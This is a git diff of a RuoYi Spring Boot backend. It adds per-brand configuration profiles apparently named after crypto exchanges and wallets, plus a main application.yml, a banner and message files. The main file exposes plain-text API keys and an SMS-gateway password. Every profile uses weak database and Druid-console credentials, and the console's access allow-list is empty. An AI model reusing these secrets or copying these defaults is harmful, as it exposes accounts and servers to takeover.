+ min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/math?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-paxpay.yml b/ruoyi-admin/src/main/resources/application-paxpay.yml new file mode 100644 index 0000000..8cb90a7 --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-paxpay.yml @@ -0,0 +1,96 @@ +app: + name: paxpay +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9002 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/paxpay?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: debug + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-robinhood2.yml b/ruoyi-admin/src/main/resources/application-robinhood2.yml new file mode 100644 index 0000000..995042e --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-robinhood2.yml @@ -0,0 +1,95 @@ +app: + name: robinhood2 +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9003 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 3 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/robinhood2?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-rxce.yml b/ruoyi-admin/src/main/resources/application-rxce.yml new file mode 100644 index 0000000..a9bbda9 --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-rxce.yml @@ -0,0 +1,95 @@ +app: + name: rxce +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9002 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 16 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/rxce?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-spark.yml b/ruoyi-admin/src/main/resources/application-spark.yml new file mode 100644 index 0000000..663452c --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-spark.yml @@ -0,0 +1,95 @@ +app: + name: spark +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9002 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/spark?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-terra.yml b/ruoyi-admin/src/main/resources/application-terra.yml new file mode 100644 index 0000000..556bdda --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-terra.yml @@ -0,0 +1,95 @@ +app: + name: terra +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9003 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 3 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/terra?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-ticbit.yml b/ruoyi-admin/src/main/resources/application-ticbit.yml new file mode 100644 index 0000000..1dc0bb5 --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-ticbit.yml @@ -0,0 +1,96 @@ +app: + name: ticbit +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9000 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/ticbit?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-tokencan.yml b/ruoyi-admin/src/main/resources/application-tokencan.yml new file mode 100644 index 0000000..225f4fb --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-tokencan.yml @@ -0,0 +1,95 @@ +app: + name: tokencan +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9000 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/tokencan?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-trustwallet.yml b/ruoyi-admin/src/main/resources/application-trustwallet.yml new file mode 100644 index 0000000..6d87183 --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-trustwallet.yml @@ -0,0 +1,95 @@ +app: + name: trustwallet +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9001 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/trustwallet?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application.yml b/ruoyi-admin/src/main/resources/application.yml new file mode 100644 index 0000000..e46e0a8 --- /dev/null +++ b/ruoyi-admin/src/main/resources/application.yml @@ -0,0 +1,139 @@ +# 项目相关配置 +ruoyi: + # 名称 + name: RuoYi + # 版本 + version: 3.8.5 + # 版权年份 + copyrightYear: 2023 + # 实例演示开关 + demoEnabled: true + # 文件路径 示例( Windows配置D:/ruoyi/uploadPath,Linux配置 /home/ruoyi/uploadPath) + profile: D:/ruoyi/uploadPath + # 获取ip地址开关 + addressEnabled: false + # 验证码类型 math 数字计算 char 字符验证 + captchaType: math + + googleHost : https://win999.com + +# 开发环境配置 +server: + servlet: + # 应用的访问路径 + context-path: / + tomcat: + # tomcat的URI编码 + uri-encoding: UTF-8 + # 连接数满后的排队数,默认为100 + accept-count: 1000 + threads: + # tomcat最大线程数,默认为200 + max: 800 + # Tomcat启动初始化的线程数,默认值10 + min-spare: 100 + +# 用户配置 +user: + password: + # 密码最大错误次数 + maxRetryCount: 5 + # 密码锁定时间(默认10分钟) + lockTime: 10 + +# Spring配置 +spring: + # 资源信息 + messages: + # 国际化资源文件路径 + basename: i18n/messages + profiles: + active: dev + # 文件上传 + servlet: + multipart: + # 单个文件大小 + max-file-size: 10MB + # 设置总上传的文件大小 + max-request-size: 20MB + # 服务模块 + devtools: + restart: + # 热部署开关 + enabled: true + +# token配置 +token: + # 令牌自定义标识 + header: Authorization + # 令牌密钥 + secret: abcdefghijklmnopqrstuvwxyz + # 令牌有效期(默认30分钟) + expireTime: 300 + +# MyBatis Plus配置 +mybatis-plus: + # 搜索指定包别名 + typeAliasesPackage: com.ruoyi.**.domain + # 配置mapper的扫描,找到所有的mapper.xml映射文件 + mapperLocations: classpath*:mapper*/**/*Mapper.xml + # 加载全局的配置文件 + configLocation: classpath:mybatis/mybatis-config.xml + #主键自增配置 + global-config: + db-config: + id-type: auto + +# PageHelper分页插件 +pagehelper: + helperDialect: mysql + supportMethodsArguments: true + params: count=countSql + +# Swagger配置 +swagger: + # 是否开启swagger + enabled: true + # 请求前缀 + pathMapping: /dev-api + +# 防止XSS攻击 +xss: + # 过滤开关 + enabled: true + # 排除链接(多个用逗号分隔) + excludes: /system/notice + # 匹配链接 + urlPatterns: /system/*,/monitor/*,/tool/* + +api: + key: 412XIG5HCBA5BUBTUJ5CMJ5IDBGIDVEU31 + eth: + key: MIFUK1NUB2ZFNC2A1VB878Q148336UTG7E +web3j: + url: https://mainnet.infura.io/v3/b631721031a64cfc8a94b911a6640939 +mifeng: + api: + eth: L30PNXBLM9B6PJDSGTIE7MWWFIR3P6YL2ZU7INHB + host: data.block.cc + + +#mobile +mobile: + account: I003662 + password: OEwXRLHZkB23 + url: https://api.nodesms.com/send/json + + + + +#stream 相关配置 +#stream 名称数组 +api-redis-stream: + names: socket_key + #stream 群组名称 + groups: socket_coin +admin-redis-stream: + names: notice_key + #stream 群组名称 + groups: notice diff --git a/ruoyi-admin/src/main/resources/banner.txt b/ruoyi-admin/src/main/resources/banner.txt new file mode 100644 index 0000000..0931cb8 --- /dev/null +++ b/ruoyi-admin/src/main/resources/banner.txt @@ -0,0 +1,24 @@ +Application Version: ${ruoyi.version} +Spring Boot Version: ${spring-boot.version} +//////////////////////////////////////////////////////////////////// +// _ooOoo_ // +// o8888888o // +// 88" . "88 // +// (| ^_^ |) // +// O\ = /O // +// ____/`---'\____ // +// .' \\| |// `. // +// / \\||| : |||// \ // +// / _||||| -:- |||||- \ // +// | | \\\ - /// | | // +// | \_| ''\---/'' | | // +// \ .-\__ `-` ___/-. / // +// ___`. .' /--.--\ `. . ___ // +// ."" '< `.___\_<|>_/___.' >'"". // +// | | : `- \`.;`\ _ /`;.`/ - ` : | | // +// \ \ `-. \_ __\ /__ _/ .-` / / // +// ========`-.____`-.___\_____/___.-`____.-'======== // +// `=---=' // +// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // +// 佛祖保佑 永不宕机 永无BUG // +//////////////////////////////////////////////////////////////////// \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/i18n/messages.properties b/ruoyi-admin/src/main/resources/i18n/messages.properties new file mode 100644 index 0000000..afb2fb3 --- /dev/null +++ b/ruoyi-admin/src/main/resources/i18n/messages.properties @@ -0,0 +1,39 @@ +#\u9519\u8BEF\u6D88\u606F +not.null=* \u5FC5\u987B\u586B\u5199 +user.jcaptcha.error=\u9A8C\u8BC1\u7801\u9519\u8BEF +user.jcaptcha.expire=\u9A8C\u8BC1\u7801\u5DF2\u5931\u6548 +user.not.exists=\u7528\u6237\u4E0D\u5B58\u5728/\u5BC6\u7801\u9519\u8BEF +user.password.not.match=\u7528\u6237\u4E0D\u5B58\u5728/\u5BC6\u7801\u9519\u8BEF +user.password.retry.limit.count=\u5BC6\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21 +user.password.retry.limit.exceed=\u5BC6\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21\uFF0C\u5E10\u6237\u9501\u5B9A{1}\u5206\u949F +user.password.delete=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u8D26\u53F7\u5DF2\u88AB\u5220\u9664 +user.blocked=\u7528\u6237\u5DF2\u5C01\u7981\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 +role.blocked=\u89D2\u8272\u5DF2\u5C01\u7981\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 +login.blocked=\u5F88\u9057\u61BE\uFF0C\u8BBF\u95EEIP\u5DF2\u88AB\u5217\u5165\u7CFB\u7EDF\u9ED1\u540D\u5355 +user.logout.success=\u9000\u51FA\u6210\u529F + +length.not.valid=\u957F\u5EA6\u5FC5\u987B\u5728{min}\u5230{max}\u4E2A\u5B57\u7B26\u4E4B\u95F4 + +user.username.not.valid=* 2\u523020\u4E2A\u6C49\u5B57\u3001\u5B57\u6BCD\u3001\u6570\u5B57\u6216\u4E0B\u5212\u7EBF\u7EC4\u6210\uFF0C\u4E14\u5FC5\u987B\u4EE5\u975E\u6570\u5B57\u5F00\u5934 +user.password.not.valid=* 5-50\u4E2A\u5B57\u7B26 + +user.email.not.valid=\u90AE\u7BB1\u683C\u5F0F\u9519\u8BEF +user.mobile.phone.number.not.valid=\u624B\u673A\u53F7\u683C\u5F0F\u9519\u8BEF +user.login.success=\u767B\u5F55\u6210\u529F +user.register.success=\u6CE8\u518C\u6210\u529F +user.notfound=\u8BF7\u91CD\u65B0\u767B\u5F55 +user.forcelogout=\u7BA1\u7406\u5458\u5F3A\u5236\u9000\u51FA\uFF0C\u8BF7\u91CD\u65B0\u767B\u5F55 +user.unknown.error=\u672A\u77E5\u9519\u8BEF\uFF0C\u8BF7\u91CD\u65B0\u767B\u5F55 + +##\u6587\u4EF6\u4E0A\u4F20\u6D88\u606F +upload.exceed.maxSize=\u4E0A\u4F20\u7684\u6587\u4EF6\u5927\u5C0F\u8D85\u51FA\u9650\u5236\u7684\u6587\u4EF6\u5927\u5C0F\uFF01
\u5141\u8BB8\u7684\u6587\u4EF6\u6700\u5927\u5927\u5C0F\u662F\uFF1A{0}MB\uFF01 +upload.filename.exceed.length=\u4E0A\u4F20\u7684\u6587\u4EF6\u540D\u6700\u957F{0}\u4E2A\u5B57\u7B26 + +##\u6743\u9650 +no.permission=\u60A8\u6CA1\u6709\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.create.permission=\u60A8\u6CA1\u6709\u521B\u5EFA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.update.permission=\u60A8\u6CA1\u6709\u4FEE\u6539\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.delete.permission=\u60A8\u6CA1\u6709\u5220\u9664\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.export.permission=\u60A8\u6CA1\u6709\u5BFC\u51FA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.view.permission=\u60A8\u6CA1\u6709\u67E5\u770B\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +user.ops.status=\u64CD\u4F5C\u6210\u529F \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/i18n/messages_zh.properties b/ruoyi-admin/src/main/resources/i18n/messages_zh.properties new file mode 100644 index 0000000..a2e253f --- /dev/null +++ b/ruoyi-admin/src/main/resources/i18n/messages_zh.properties @@ -0,0 +1,150 @@ +user.appname=\u4E2D\u6587\u8BED\u8A00 + + + +#\u9519\u8BEF\u6D88\u606F +not.null=* \u5FC5\u987B\u586B\u5199 +user.jcaptcha.error=\u9A8C\u8BC1\u7801\u9519\u8BEF 